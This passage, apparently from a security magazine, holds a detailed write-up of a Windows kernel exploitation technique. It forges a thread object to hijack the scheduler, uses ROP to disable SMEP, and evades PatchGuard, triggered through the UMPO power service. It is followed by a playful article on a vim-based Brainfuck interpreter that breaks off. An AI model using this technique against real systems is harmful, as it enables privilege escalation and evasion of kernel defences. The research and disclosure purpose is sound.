YMACZUQPXKKK  KMACZUQPXBKK
KMICZUQPXBKO  KMICZURPXBKW
KMICZUBPXBJW  KMICZVBPXBRW
KMYCZVCPXBRW  KMYCZVAPXBRG
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12:8 UMPOwn

by Alex Ionescu

With the introduction of new mitigation technologies such as
DeviceGuard, Windows 10 makes it increasingly harder for attackers
to enter the kernel through Ring 0 drivers, which are now subject to
even stricter code integrity / signing verification, or through exploits,
as increased mitigations and PatchGuard validations are used to detect
these. However, even the best-written operating system with the best-
intentioned team of developers will encounter vulnerabilities that
mitigations may be unable to stop.

Therefore, the last key element needed in defending the security
boundaries of the operating system is a sane response to quickly patch
such vulnerabilities—without one, the entire defensive strategy falls
apart. Incorrectly dismissing vulnerabilities as “too hard to exploit” or
misunderstanding the security boundaries of the operating system can
lead to unfixed vulnerabilities, which can then be used to work around
the large amount of resources that were developed in creating new
security defences.



In this article, we’ll take a look at an extremely challenging exploit
—given a kernel function to signal an event (KeSetEvent), can reliable code
execution from user-mode be achieved, if all that the attacker controls
is the pointer to the event, which can be set to any arbitrary value?
We’ll need to take a deep look at the Windows scheduler, understand
the semantics and code flows of event signaling, and ultimately reveal a
low-level scheduler attack that can result in arbitrary ROP-based
exploitation of the kernel.

ACT I. Controlling RIP and RSP

Wait Object Signaling

To understand event signaling in the NT kernel, one must first
understand that two types of events, and their corresponding wake logic
mechanisms:

1. Synchronization Events, which have a wake one semantic

2. Notification Events, which have a wake any / wake all semantic

The difference between these two types of events is encoded in the
Type field of the DISPATCHER_HEADER of the event’s KEVENT data structure,
which is how the kernel internally represents these objects. As such,
when an event is signaled, either KiSignalNotificationObject or
KiSignalSynchronizationObject is used, which will wake up one waiting thread,
or all waiting threads respectively.

How does the kernel associate waiting threads with their underlying
synchronization objects? The answer lies in the KWAIT_-BLOCK data
structure. Within which we find: the type of wait that the thread is
performing and a pointer to the thread itself, known as a KTHREAD
structure. The two types of wait that a thread can make are known as
wait any and wait all, and they determine if a single signaled object is
sufficient to wake up a thread (OR), or if all of the objects that the
thread is waiting on must be signaled (AND). In Windows 8 and later, a



thread can also asynchronously wait on an object—and associate an I/O
Completion Port, or a KQUEUE as it’s known in the kernel, with a wait
block. For this scenario, a new wait type was implemented: wait notify.

Therefore, simply put, a notification event will cause the iteration
of all wait blocks—and the waking of each thread, or I/O completion
port, based on the wait type—whereas a synchronization event will do
the same, but only for a single thread. How are these wait blocks linked
you ask? On Windows 8 and later they are guaranteed to all be
allocated in a single, flat array, with a field in the KTHREAD, called
WaitBlockCount, storing the number of elements. In Windows 7 and earlier,
each wait block has a pointer to the next (NextWaitBlock), and the final wait
block points back to the first, creating a circular singly-linked list.
Finally, the KTHREAD structure also has a WaitBlockList pointer, which serves
as the head of the list or array.

Internals Intermezzo



Let’s step back for a moment. We, from user mode, control the pointer
to an arbitrary KEVENT, which we can construct in any way we want, and
our goal is to obtain code execution in kernel mode. Based on the
description we’ve seen so far, what are some ideas that come to mind?
Certainly, we could probably cause some memory corruption or denial
of service activity, by creating incorrect wait blocks or an infinite list.
We could cause out-of-bounds memory access and maybe even flip
certain bits in kernel-mode memory. But if the ultimate possibility
(given the right set of constraints and linked data structures) is that a
call to KeSetEvent will cause a thread to be woken, are we able to control
this thread, and more importantly, can we get it to execute arbitrary
code, in kernel mode? Let’s keep digging into the internals to find out
more.

Thread Waking

Suppose there exists a synchronization event, with a single waiter.
(Thus, a single wait block.) This waiter is currently blocked in a wait

any fashion on the event and has no other objects that it is waiting on.50

The call to KeSetEvent will follow the following pattern: KeSetEvent →

KiSignalSynchronizationObject → KiTryUnwaitThread → KiSignalThread

At the end of this chain, the thread’s state will have changed, going
from what should be its current Waiting state to its new
DeferredReady state, indicating that it is, in a way, ready to be prepped
for execution. For it to be found in this state, it will be added to the
queue of DeferredReady threads for the current processor, which lives



in the KPRCB’s DeferredReadyListHead lock-free stack list. Meanwhile, the
wait block’s state, which should have been set to WaitBlockActive, will now
migrate to WaitBlocklnactive, indicating that this is no longer a valid wait
—the thread is ready to be awakened.

One of the most unique things about the NT scheduler is that it
does not rely on a scheduler tick or other external event in order to
kick off scheduling operations and pre-emption. In fact, any time a
function has the possibility to change the state of a thread, it must
immediately react to possible system-wide scheduler changes that this
state transition has caused. Such functions implement this logic by
calling the KiExitDispatcher function, with some hints as to what operation
just occurred. In the case of KeSetEvent, the AdjustUnwait hint is used to
indicate that one or more threads have potentially been woken.

One Does Not Simply Exit the Dispatcher . . .

Once inside KiExitDispatcher, the scheduler first checks if DeferredReady
threads already exist in the KPRCB’s queue. In our scenario, we know
this will be the case, so let’s see what happens next. A call to
KiProcessThreadWaitList is made, which iterates over each thread in the
DeferredReadyListHead, and for each one, a subsequent call to KiUnlinkWaitBlock
occurs, which unlinks all wait blocks associated with this thread that are
in WaitBlockActive state. Then, the AdjustReason field in the KTHREAD structure is
set to the hint value we referenced earlier (AdjustUnwait here), and a
potential priority boost, or increment, is added in the AdjustIncrement field
of the KTHREAD. For events, this will be equal to EVENT_INCREMENT, or 1.

Standby! Get Ready for My Thread

As each thread is processed in this way, a call to KiReadyThread is finally
performed. This routine’s job is to check whether or not the thread’s
kernel stack is currently resident, as the NT kernel has an optimization
that automatically causes the eviction (and even potential paging out)
of the kernel stack of any user-mode waiting thread after a certain
period of time (typically 4-6 seconds). This is exposed through the



KernelStackResident field in the KTHREAD. In Windows 10, a process’ set of
kernel stacks can also be evicted when a process is frozen as part of new
behaviour for Modern (Metro) applications, so another flag,
ProcessStackCountDecremented is also checked. For our purposes, let’s assume
the thread has a fully-resident kernel stack. In this case, we move onto
KiDeferredReadyThread, which will handle the DeferredReady → Ready (or
Standby) transition.

Unlike a DeferredReady thread, which can be ready on an arbitrary
processor queue, a Ready thread must be on the proper processor
queue (and/or shared queue, in Windows 8 and later). Explaining the
selection algorithms is beyond the scope of this article, but suffice it to
say that the kernel will attempt to find the best possible processor
among: idle cores, parked cores, heterogeneous vs. homogeneous cores,
and busy cores, and balance that with the hard affinity, soft
affinity/ideal processor, and group scheduling ranks and weights. Once
a processor is chosen, the NextProcessor field in KTHREAD is set to its index.
Ultimately, the following possibilities exist:

1. An idle processor was chosen. The KiUpdateThreadState routine
executes and sets the thread’s state to Standby and sets the NextThread
field in the KPRCB to the selected KTHREAD. The thread will start
executing imminently.

2. An idle processor was chosen, which already had a thread selected
as its NextThread. The same operations as above happen, but the
existing KTHREAD is now pre-empted and must be dealt with. The
thread will start executing imminently.

3. A busy processor was chosen, and this thread is more important.
The same operations as in case #2 happen, with pre-emption again.
The thread will start executing imminently.

4. A busy processor was chosen, but this thread is not more
important. KiAddThreadToReadyQueue is used instead, and the state will be
set to Ready instead. The thread will execute at a later time.



Internals Secondo Intermezzo

It should now become apparent that, given a custom KTHREAD structure,
we can fool the scheduler into entering a scenario where that thread is
selected for immediate execution. To make things even simpler, if we
can force this thread to execute on the current processor, we can pre-
empt ourselves and force an immediate switch to the new thread,
without disturbing other processors and worrying about pre-empting
other threads.

In order to go down this path, the KTHREAD we create must have a
single, fixed, hard affinity, which will be set to our currently executing
processor. We can do this by manipulating the Affinity field of the
KTHREAD. This will ensure that the scheduler does not look at any idle
processors. It must also have the current processor as its soft affinity, or
ideal processor, so that the scheduler does not look at any other busy
processors. By restricting all idle processors from selection and
ignoring all other busy processors, the scheduler will have no choice
but to pick the current processor.

Yet we still have to choose between paths #3 and #4, to get this new
thread to appear “more important.” This is easily done by ensuring
that our new thread’s priority (in the KTHREAD’s Priority) field will be higher
than the current thread’s.

Completing the Exit

Once KiDeferredReadyThread is done with its business and returns to
KiReadyThread, which returns to KiProcessThreadWaitList, which returns to
KiExitDispatcher, it’s time to act. The routine will now verify if it’s possible
to do so based on the IRQL at the time the event was signalled—a level
of DISPATCH_-LEVEL or above will indicate that nothing can be done yet, so
an interrupt will be queued, which should fire as soon as the IRQL
drops. Otherwise, it will check if the NextThread field in the KPRCB is
populated, implying that a new thread was chosen on the current
processor.



At this point, NextThread will be set to NULL (after capturing its
value), and KiUpdateThreadState will be called again, this time with the new
state set to Running, causing the KPRCB’s CurrentThread field to now
point to this thread instead. The old thread, meanwhile, will be pre-
empted and added to the Ready list with KiQueueReadyThread.

Once that’s done, it’s time to call KiSwapContext. Once control returns
from this function, the new thread will actually be running (i.e., it will
basically be returning from whatever had pre-empted it to begin with),
and KiDeliverApc will be called as needed in order to deliver any
Asynchronous Procedure Calls (APCs) that were pending to this new
thread.

KiExitDispatcher is done, and it returns back to its caller—not KeSetEvent!
As we are now on a new thread, with a new stack, this will actually
probably return to a completely different API, such as
KeWaitForSingleObject.

Make It So—the Context Switch

To understand how KiSwapContext is able to change to a totally different
thread’s execution context, let’s go inside the belly of the beast. The first
operation that we see is the construction of the exception frame, which
is done with the GENERATE_EXCEPTION_-FRAME assembly macro, which is public
in kxamd64.inc. This essentially constructs a KEXCEPTION_FRAME on the stack,
storing all the non-volatile register contents. Then, the SwapContext

function is called.
Inside of SwapContext, a second structure is built on the stack, known

as the KSWITCH_FRAME structure. It is documented in the ntosp.h header file,
but not in the public symbols. Inside of the routine, the following key
actions are taken on an x64 processor. (Similar, but uniquely different
actions are taken on other CPU architectures.)

1. The Running field is set to 1 inside of the new KTHREAD.

2. Runtime CPU Cycles begin to accumulate based on the KPRCB’s
StartCycles and CycleTime fields.



3. The count of context switches is incremented in KPRCB’s
ContextSwitches field.

4. The NpxState field is checked to see if FPU/XSAVE state must be
captured for the old thread.

5. The current value of the stack pointer RSP, is stored in the old
thread’s KernelStack KTHREAD field.

6. RSP is updated based on the new thread’s KernelStack value.

7. A new LDT is loaded if the process owning the new thread is
different than the old thread (i.e., a process switch has occurred).

8. In a similar vein to the above, the process affinity is updated if
needed, and a new CR3 value is loaded, again in the case of a process
switch.

9. The RSP0 is updated in the current Task State Segment (TSS),
which is indicated by the TssBase field of the KPCR. The value is set
to the InitialStack field of the new KTHREAD.

10. The RspBase in the KPRCB is updated as per the above as well.

11. The Running field is set to 0 in the old KTHREAD.

12. The NpxField is checked to see if FPU/XSAVE state must be restored
for the new thread.

13. The Compatibility Mode TEB Segment in the GDT (stored in
the GdtBase field of the KPCR) is updated to point to the new
thread’s TEB, stored in the Teb field of the KTHREAD.

14. The DS, ES, FS segments are loaded with their canonical values if they
were modified.

15. The GS value is updated in both MSRs by using the swapgs

instruction and reloading the GS segment in between.

16. The KPCR’s NtTib field is updated to point to the new thread’s
TEB, and WRMSR is used to set MSR_GS_SWAP.

17. The count of context switches is incremented in KTHREAD’s
ContextSwitches field.



18. The switch frame is popped off the stack, and control returns to
the caller’s RIP address on the stack.

Note that in Windows 10, steps 13 to 16 are only performed if the
new thread is not a system thread, which is indicated by the SystemThread
flag in the KTHREAD.

Finally, now having returned back in KiSwapContext again, the
RESTORE_EXCEPTION_FRAME macro is used to pop off all non-volatile register
state from the stack frame.

Coda

With the sequence of steps performed by the context switch now
exposed, taking control of a thread is an easy matter of controlling its
KernelStack field in the KTHREAD. As soon as the RSP value is set to this
location, the eventual ret instruction will get us wherever we need to go,
with full Ring 0 privileges, as a typical ROP-friendly instruction.

Even more, if we return to KiSwapContext (assuming we have an
information leak) we have the RESTORE_EXCEPTION_FRAME macro, which will
take care of everything but RAX, RCX, and RDX for us. We can of course
return anywhere else we’d like and build our own ROP chain.

PoC

Let’s look at the code that implements everything we’ve just seen. First,
we need to hard-code our current user-mode thread to run only on the
first CPU of Group 0 (always CPU 0). The reason for this will become
obvious shortly:

Next, let us create an active wait any wait block, associated with an
arbitrary thread:



Then we create a Synchronization Event, which is currently tied to
this wait block:

All right! We now have our event and wait block. It’s tied to the
deathThread, so let’s go fill that out. First, we give this thread the
correct hard affinity (i.e., the one we just set for ourselves) and soft
affinity (i.e., the ideal processor). Note that the ideal processor is
expressed as the raw processor index, which is not available to user-
mode. Therefore, by forcing our thread to run on Group 0 earlier, we
can guarantee that the CPU Index 0 matches Processor 0.

Now we know this thread will run on the same processor we’re on,
but we want to guarantee it will pre-empt us. In other words, we need
to bump up its priority higher than ours. We could pick any number
higher than the current priority, but we’ll pick 31 for two reasons.
First, it’s practically guaranteed to pre-empt anything on this
processor, and second, it’s in the so-called real-time range which means
it’s not subject to priority adjustments and quantum tracking, which
will make the scheduler’s job easier when getting this thread in a
runnable state (and avoid us having to define more state).

deathThread.Priority = 31;



Okay, so if we’re going to claim that our event object is being
waited on by this thread, we better make the thread appear as if it’s in a
committed waiting state with one wait block—the one with which the
event is associated.

Excellent! For the context switch routine to work correctly, we also
need to make it look like this thread is in the same process as the
current thread. Otherwise, our address space will become invalid, and
all sorts of other crashes will occur. In order to do this, we need to
know the kernel pointer of the current process, or KPROCESS structure.
Thankfully, there exists a variety of documented information leaks in
the kernel that will allow us to obtain this information. One common
technique is to open a handle to our own process ID and then
enumerate our own handle table until we find a match for the handle
number. The Windows API will then contain the kernel address of the
object associated with this handle (i.e., our very own process!).

deathThread.ApcState.Process = addrProcess;

Last, but not least, we need to set up the kernel stack, which should
be pointing to a KSWITCH_FRAME. And we need to confirm that the stack
truly is resident, as per our discoveries above. The switch frame has a
return address, which we are free to set to any address we’d like to ROP
into.

Actually, let’s not forget that we also need to have a valid FPU stack,
so that the FPU/XSAVE restore can work when context switching. One



easy to way to do this is as follows:

Once all these operations are done, we have a fully exploitable event
object, which will get us to “exploitGadget.” But what should that be?

ACT II. The Right Gadget and Cleanup

ROPing to User-Mode

Once we’ve established control over RIP/RSP, it’s time to actually extract
some use out of this ability. As we’re not going to be injecting
executable code in the kernel,51 the best place to direct RIP is in user
mode. Sadly, modern mitigations such as SMEP make this impossible,
and any attempt to execute our user-mode code will result in a nasty
crash. Fortunately, SMEP is a CPU feature that must be enabled by
software, and it relies on a particular flag in the CR4 to be set. All we
need is the right ROP gadget to turn that flag off. As it happens, the
function to flush the current TLB is inlined throughout the kernel,
which results in the following assembly sequence when it’s done at the
end of a function:



Well, now all that we’re missing is a gadget to load the right value
into RCX. This isn’t hard, and for example, the KeRemoveQueueDpcEx
function, which is exported, has exactly what we need:

With these two simple gadgets, we can control and fill out the
KEXCEPTION_FRAME that’s supposed to be right on top of the KSWITCH_FRAME as
follows:

Consistency and Recovery

Imagine yourself in Stage1Payload now. Your KPRCB’s Current-Thread field
points to a user-mode KTHREAD inside of your own personal address space.
Your RSP (and your KTHREAD’s RSP and TSS’s RSP0) are also pointing to some
user-mode buffer that’s only valid inside your address space. All it takes
is a another thread on another processor scouring the CPU queues
(trying to figure out who to pre-empt) and dereferencing the death
thread, before a crash occurs. And let me tell you, that happens. . . a lot!
Our first order of business should therefore be to allocate some sort of
globally visible kernel memory where we can store the KTHREAD we’ve
built for ourselves. But the mere act of allocating memory will take a
relatively long time, and chances are high we’ll crash early.



So we’ll take a page out of some very early NT rootkits. Taking
advantage of the fact that the KUSER_SHARED_DATA structure has a fixed, global
address on all Windows machines and is visible in all processes. It’s got
just enough slack space to fit our KTHREAD structure too! As soon as that’s
done, we want to update the KPRCB’s CurrentThread to point to this
new copy. The code looks something like this:

Although unlikely, a race condition is still possible right before the
copy completes. One could avoid this by creating a user-mode process
that creates priority 31 threads on all processors but the current one,
spinning forever, until the exploit completes. That will remove any
occurrences of processor queue scanning.

At this point, we can now attack the kernel in any way we want, but
once we’re done, what happens to this thread? We could attempt to
terminate it with PsTerminateSystemThread, but a number of things are likely
to go wrong—namely that we aren’t a system thread (but we could fix
that by setting the right KTHREAD flag). Even beyond that, however, the



API would attempt to access a number of additional KTHREAD and KPROCESS
fields, dereference the thread object as an ETHREAD (which we haven’t
built), and require an amount of information leaks so great that it is
unlikely to ever work. Entering a tight spin loop would fix these
problems, but the CPU would be pegged down forever, and a single-
core machine would simply lock up.

We’ve seen, however, that we have enough of a KTHREAD to exit the
scheduler and even be context-switched in. Do we have enough to enter
the scheduler and be context-switched out? The simplest way to do so
is to use the KeDelayExecutionThread API and pass in an absurdly large
timeout value—guaranteeing our thread will be stuck in a wait state
forever.

Before doing so, however, we should remember that all dispatching
operations happen at DISPATCH_LEVEL, as we saw earlier. And normally, the
exit from SwapContext would’ve resulted in returning back to some
function that had raised the IRQL, so that it could then lower it. We
are not allowed to re-enter the scheduler at this IRQL, so we’ll first
lower it back down to PASSIVE_LEVEL ourselves. Our final cleanup code
thus looks like this:

Enter PatchGuard

Readers of this magazine ought to know that Skape and Skywing aren’t
idiots—their PatchGuard technology embedded into the NT kernel
will actually actively scan for changes to KUSER_-SHARED_DATA. Any
modification such as our addition of a random KTHREAD in its tail will
result in the famous 109 BSOD, with a code of “0” or “Generic Data
Modification.”



Thus, we need to clear out our KTHREAD from there—but that poses a
problem since we can’t destroy the KTHREAD before we call
KeDelayExecutionThread. One option is to allocate some non-paged pool
memory and copy our KTHREAD structure in there, then modify the
KPRCB CurrentThread pointer yet again. But this means that we will
be leaking a KTHREAD in memory forever. Can we do better?

Another possibility is to do the destruction of the KTHREAD after the
KeDelayExecutionThread has executed. Nobody will ever need to look at, or
touch the structure, since we know it will never wake up again. But how
can we run after the endless delay? Clearly, we need another activation
point—and Windows offers timer-based deferred procedure routines (DPCs)
as a solution. By allocating a nonpaged pool buffer containing a
KTIMER structure (initialized with KeInitializeTimer) and a KDPC
structure (initialized with KeInitializeDpc), we can then use KeSetTimer to
force the execution of the DPC to, say, five seconds later in time. This
is easy to do.

Inside of the CleanDpc routine, we simply destroy the thread and free
the data:

With the KUSER_SHARED_DATA structure cleaned up, we should never hear
from PatchGuard again. And so, the system is now restored back to



sanity—except for the case when a few seconds later, some thread, on
some arbitrary processor, inserts a new timer in the tree of timers. The
scheduler, after computing a 256-based hash bucket handle for the
KTIMER entry, inserts it into the list of existing KTIMER structures
that share the same hash—that, with a probability of 1/256, is the near-
infinitely expiring timer that KeDelayExecutionThread is using. Why is this a
problem, you ask?

Well, as it happens, the kernel doesn’t want to have to create a timer
object whenever a wait is done that involves a timeout. And so, any
time that a synchronization object is waited upon for a fixed period of
time, or any time that a Sleep/KeDelayExecutionThread call is performed, an
internal KTIMER structure that is preallocated in the KTHREAD structure
is used, under the field name Timer. This also creates one of the NT
kernel’s best-designed features: the ability to wait on objects without
requiring a single memory allocation.

Unfortunately for us as attackers, this means that the timer table
now contains a pointer to what is essentially computable as
KUSER_SHARED_DATA + sizeof(KUSER_SHARED_DATA) + FIELD_-OFFSET(KTHREAD, Timer))... a
data structure that we have completely zeroed out. That list of hash
entries will therefore hit a null pointer and crash.52 We must then do
one more thing in the CleanDpc routine, remove this linkage. We can do
this easily.

RemoveEntryList(&newThread->Timer.TimerListEntry);

PatchGuard Redux

Remember the part about Patchguard’s developers not being stupid?
Well, they’re certainly not going to let the corrupt, SMEP-disabled
value of CR4 stand! And so it is, that after a few minutes (or less), another
109 BSOD is likely to appear, this time with code 15. (“Critical
processor register modified.”) Hence, this is one more thing that we’re
going to have to clean up, and yet again something that we cannot do as
part of our user-mode pre-KeDelayExecutionThread call, because the very next



instruction would then issue a SMEP violation. Good thing we’ve got
our five second timer-based DPC!

Except that things are never that easy, as readers probably know.
One of the great (or terrible) things about DPCs is that they run in
arbitrary thread context and don’t have a particular affinity to a given
processor either, unless told otherwise. While in a normal interrupt
service routine environment, the DPC will typically execute on the
same processor it was queued on, this is not the case with timer-based
DPCs. In fact, on most systems, these will execute on CPU 0 at all
times, whereas on others, they can be distributed across processors
based on utilization and power needs. Why is this a problem? Because
we’ve disabled SMEP on one particular processor—the one that ran
our first-stage user-mode payload, while the DPC can run on a
completely different processor.

As always, the NT kernel offers up an API as a solution. By using
KeSetTargetProcessorDpcEx, we can make sure the DPC runs on the same
processor as our first stage payload (which should be CPU 0, Group 0,
but let’s do this in a more portable way):

Success is now ours! By cleaning up the KUSER_SHARED_DATA structure,
eliminating the KTHREAD’s timer from the timer list, and restoring CR4 back
to its original value, the system is now fully restored in its original
state, and we’ve even freed the KDPC and KTIMER structures. There’s now
not a single trace of the thread left around, which pretty much amounts
to the initial idea of terminating the thread. From dust we made it, and
to dust it returned.

Of course, our payload hasn’t actually done anything, other than
clean up after itself. Obviously, at this point, any number of actually
real system threads could be created, periodic timer DPCs could be
queued, work items can be queued, and all other arbitrary kernel-mode



operations are permitted, depending on the ultimate goals of our
exploit.

ACT III. Denoument

The Trigger

We have so far been operating in an imaginary world where we can
send the kernel an arbitrary Event Object as a KEVENT and have the kernel
attempt to signal it. We now have shown that this scenario can reliably
lead to kernel execution. The next question is, how can we trigger it?

As it happens, the kernel has a function called
PopUmpoProcessPowerMessage, which responds to any message that is sent to the
ALPC port that it creates, called PowerPort. Such messages have a
simple 4-byte header indicating their type, and a type of 7, which we’ll
call PowerMessageNotifyLegacyEvent, and is treated as follows:

To send messages to this port, a complex series of actions and
ALPC-specific setup, plus somehow getting access to this port, must be
performed. Thankfully, we don’t need to do any of it, as the UMPO.DLL
library, which implements the User Mode Power Manager, exports a
handy UmpoAlpcSendPowerMessage function. By simply injecting a DLL into
the service, which contains all of the above code implementation, we
can execute the following sequence to trigger a Ring 3 to Ring 0 jump:

Conclusion



As we’ve seen in this analysis, sometimes even the most apparently
unexploitable data corruption/type confusion bugs can sometimes be
busted open with sufficient understanding of the underlying operating
system and rules around the particular data. I’m aware of another
vulnerability that results in control of a lock object—which, when fixed,
was assumed to be nothing more than a DoS. I posit that such a lock
object could’ve also been maliciously constructed to appear in an non-
acquired state, which would then cause the kernel to make the thread
acquire the lock—meanwhile, with a race condition, the lock could’ve
been made to appear contended, such as to cause the release path to
signal the contention even, and ultimately lead to the same exploitation
path as discussed here.

It is also important to note that such data corruption
vulnerabilities, which can lead to stack pivoting and ROP into user
mode will bypass technologies such as DeviceGuard, even if configured
with HyperVisor Code Integrity (HVCI)—due to the fact that all pages
executing here will be marked as executable. All that is needed is the
ability to redirect execution to the UMPO function, which could be
done if User-Mode UMCI is disabled, or if PowerShell is enabled
without script protection—one can reflectively inject and redirect
execution of the Svchost.exe process. Note, however, that enabling HVCI
will activate HyperGuard, which protects the CR4 register and prevents
turning off SMEP. This must be bypassed by a more complex exploit
technique either affecting the PTEs or making the kernel payload itself
be full ROP.

Finally, Windows Redstone 14352 and later fix this issue, just in
time for the publication of the article. This fix will not be back-ported
as it does not meet the bulletin bar, however.

12:9 A VIM Execution Engine

by Chris Domas



The power of vim is known far and wide, yet it is only when we
push the venerable editor to its limits that we truly see its beauty. To
conclusively demonstrate vim’s majesty, and silence heretical doubters,
let us construct a copy/paste/search/replace Turing machine, using
vanilla vim commands.

First, we lay some ground rules. Naturally, we could build a Turing
machine using the built-in vimscript, but it is already known that
vimscript is Turing-complete, and this is hardly sporting. vim ex
commands—the requests we make from vim when we type a colon—
are abundant and powerful, but these too would make the task simple,
and therefore would fail to illustrate the glory of vim. Instead, we strive
to limit ourselves to normal vim commands: yank, put, delete, search,
and the like.

With these constraints in mind, we must decide on the design of
our machine. For simplicity, let us implement an interpreter for the
widely known Brainfuck (BF) programming language. Our machine
will be a simple text file that, when opened in vim and started with a
few key presses, interprets BF code through copy-/paste/search/replace
style vim commands.

Let us begin by giving our machine some memory. We create data
tape in the text file by simply adding the following:

_t :
0 0 0 0 0 0 0 0 0 0

We now have ten data cells, which we can locate by searching for _t.



Now what of the BF code itself? Let us add a Fibonacci number
generator to the file.

_p :
>++++++++++>+>+[[+++++[>++++++++
<-]>.<++++++[>--------<-]+<<<]>.
>>[[-]<[>+<-]>>[<<+>+>-]<[>+<-[>
+<-[>+<-[>+<-[>+<-[>+<-[>+<-[>+<
-[>+<-[>[-]>+>+<<<-[>+<-]]]]]]]]
]]]+>>>]<<<]



Progress! Now we add lines to accommodate input and output,
although these will be left empty for now:

_i :

_o :

To perform output, our program will need to convert the numeric
memory cells to ASCII values. This can easily be done by adding an
ASCII lookup table to our program:

_a :
... __65 A__66 B__67 C__68 D ... _127 ._uuu.

The arrangement of underscores and spaces will assist us in
navigating the table with vim commands. Providing an “unknown” uuu
allows us to process values outside the ASCII range.

Now for the fun part—how do we execute our BF program using
just our simple vim commands? We would envision a small set of
commands running continuously to interpret the program. Of course,
we could manually type out these commands ourselves, over and over,
to perform the execution (and we indeed encourage this as an enjoyable
exercise!), but in the unfortunate situation in which an interpreted
program fails to halt, we may come to find this process laborious.
Instead, we will insert the keys for these commands directly into our
vim file. When complete, we can automatically run the commands on
the first line of the file by typing:

ggyy@"

If the first line, in turn, moves to other lines, and repeats this
process of yanking a line of commands (yy) and executing the yanked
buffer (@"), execution can continue indefinitely, without any additional
user action.

So to begin, let us simplify the process of navigating the text file by
setting marks at key points. At the start of our text file, we add



commands to set a mark at the beginning of the file.

ggOmh

A mark at the memory tape:

/_t^Mnjmt ‘h

A mark at the BF code:

/_p^Mnjmp ‘h

A mark at the input, output, and ASCII table:

/_o^Mnjmo ‘h/_i^Mnjmi ‘h/_a^Mnjma ‘h

Although these steps are not strictly necessary, they will simplify
navigating the file for future commands.

Now for execution! BF contains 8 instructions: increment the
current data cell (+), decrement the current data cell (-), move to the
next data cell (>), move to the previous data cell (<), a conditional jump
forward ([), a conditional jump backward (]), output the current data
cell (.), and input to the current data cell (,). Let us construct a table of
vim commands to carry out each of these operations; each label will act
as a marker for looking up the corresponding commands.

_c:
_>-???X
_<-???X



_[-???X
_]-???X
_+-???X
_--???X
_.-???X
_,-???X
_f:_???X
_b:_???X

We again apply the trick of special characters around each
operation to simplify the search process—we may find many >’s in our
file, but there will be only one _>-. We mark the end of the command
with an X. We preemptively supply additional _f and _b commands, to
carry out the conditional part of the BF branch operations [ and ]. We
will determine the exact commands for each momentarily, which will
replace the unknown ??? above. For now, let us continue the previous
process of adding marks to each for quick navigation.

/_c^Mnjma ‘h/_c^Mnf_mf ‘h/_b^Mnf_mb

Now that our marks are set, we add to the top of our file the
commands to execute the first instruction in the BF program.

‘pyl ‘c/_\V^R"^Mf-ly2tX@"

This will move to the BF program (‘p), yank one BF instruction (yl),
move to the command table (‘c), find the BF instruction in the table,
(/_\V^R"^M) move to the list of commands for that instruction (f-l), yank
the list of commands (y2tX)—skipping an X embedded in the command,
and seeking forward to the terminating X—and execute the yanked
commands (@"). With this, our execution begins!

Let’s now complete our table by determining the commands to
execute each BF instruction. > and < are particularly simple. For >,

‘twmt ‘p mpyl ‘c/_\V^R"^Mf-ly2tX@"

Plainly, this is: move to the memory tape (‘t), move forward one
memory cell (w), mark the new location in the tape (mt), move back to



the BF program (‘p), move forward one character to progress over the
now executed BF instruction ( ), mark the new location in the BF
program (mp), yank the next BF instruction (yl), and follow the previous
process (‘c/_\V^R"^Mf-ly2tX@") to locate that instruction in the command
table, yank its commands, and execute them.

<, then, is similarly implemented as

‘tbmt ‘p mpyl ‘c/_\V^R"^Mf-ly2tX@"

What of + and -? + can be performed with

‘t^A ‘p mpyl ‘c/_\V^R"^Mf-ly2tX@"

This is virtually identical to the < and > implementation. This time,
we move to the current data cell and increment it with ^ A. Strictly
speaking, this is a violation of the copy/paste/search/replace type
execution we have been using. However, with minimal effort, the
increment could be performed via a lookup table (as we do for the
ASCII conversion)—we simply elide this for brevity.

Simply replacing ^ A (increment) with ^ X (decrement), - is derived.

‘t^X ‘p mpyl ‘c/_\V^R"^Mf-ly2tX@"

Now, certainly, our interpreter is not useful without input and
output, so let us add . and , commands. . may be

‘tyw ‘a/_\(^R"\|uuu\)^Mellyl ‘op$mo ‘p mpyl ‘c/_\V^R"^Mf-ly2tX@"

This of course is: move to the memory tape (‘t), yank a cell (yw),
move to the ASCII table (‘a), search for the yanked cell or, if it is not
found, move to the uuu marker, (/_\(^R"\|uuu\)^M), move over the marker
characters (ell), yank the corresponding ASCII character (yl), move to
the output (‘o), paste the ASCII character (p), move to the end of the
output ($), mark the new output location (mo), and finally, move back to
the BF program, move over the executed instruction, grab the next
instruction, locate its commands, and execute them, as before.



(‘p mpyl ‘c/_\V^R"^Mf-ly2tX@")

Data input with , is similarly:

‘iy mi ‘a/^R"_^MT_ye ‘txt p ‘p mpyl ‘c/_\V^R"^Mf-ly2tX@"

Which simply performs the reverse lookup and stores the result in
the current memory cell.

We are close, but, alas!, nothing is ever simple, and BF’s conditional
looping becomes more complicated. The BF [ instruction means,
precisely, “if the byte at the data pointer is zero, then instead of moving the
instruction pointer forward to the next command, jump it forward to the
command after the matching ] command.”

‘tyt ‘f/\(^R"\|n\)x^Mf-ly2tX@"

Meaning, navigate to the memory tape (‘t), yank a memory cell (yt ),
navigate to the forward assist commands (‘f), search for either the
yanked cell, or, if it is not found, the character n, followed by x (/\
(^R"\|n\)x^M), and yank and execute the given commands, using the
process as before (f-ly2tX@"). This search allows us to achieve the
conditional portion of the [ instruction—we will include a marker for
only 0, so only a memory cell of 0 will find a match—all others will be
directed to the n character. Our forward assist then appears as

_f:_0x:-‘p% mpyl ‘c/_\V^R"^Mf-ly2tX@"X_nx:-‘p mpyl ‘c/_\V^R"^Mf
     ly2tX@"X

If the memory cell is 0, the previous search matches _0x, and the
commands following it are yanked and executed. If the memory cell is
not 0, the previous search matches _nx, and the commands following it
instead are yanked and executed. For 0, we have: go to the BF program
(‘p), navigate to the corresponding ] instruction (%), move to the
instruction after this ( ), mark the new location in the program (mp), and
then yank and execute the next instruction, as before. (yl‘c/_\V^R"^Mf-



ly2tX@") For non-0, we have: go to the BF program (‘p), navigate to the
next instruction ( ), mark the new location in the program (mp), and then
yank and execute the next instruction, as before. (yl‘c/_\V^R"^Mf-ly2tX@")

] is now straightforward. Following the same patterns, we have

‘tyt ‘b/\(^R"\|n\)x^Mf-ly2tX@"

for the conditional search, and

_b: _0x:-‘p mpyl ‘c/_\V^R"^Mf-ly2tX@"X_nx:-‘p% mpyl ‘c/_\V^R"^Mf-
     ly2tX@"X

as the backward assist commands. An ardent observer may argue the
vim % command violates our copy/paste/search/replace design, and,
alas!, this is so. However, we argue that a series of searches, increments,
and decrements—like those we have already shown—could be used to
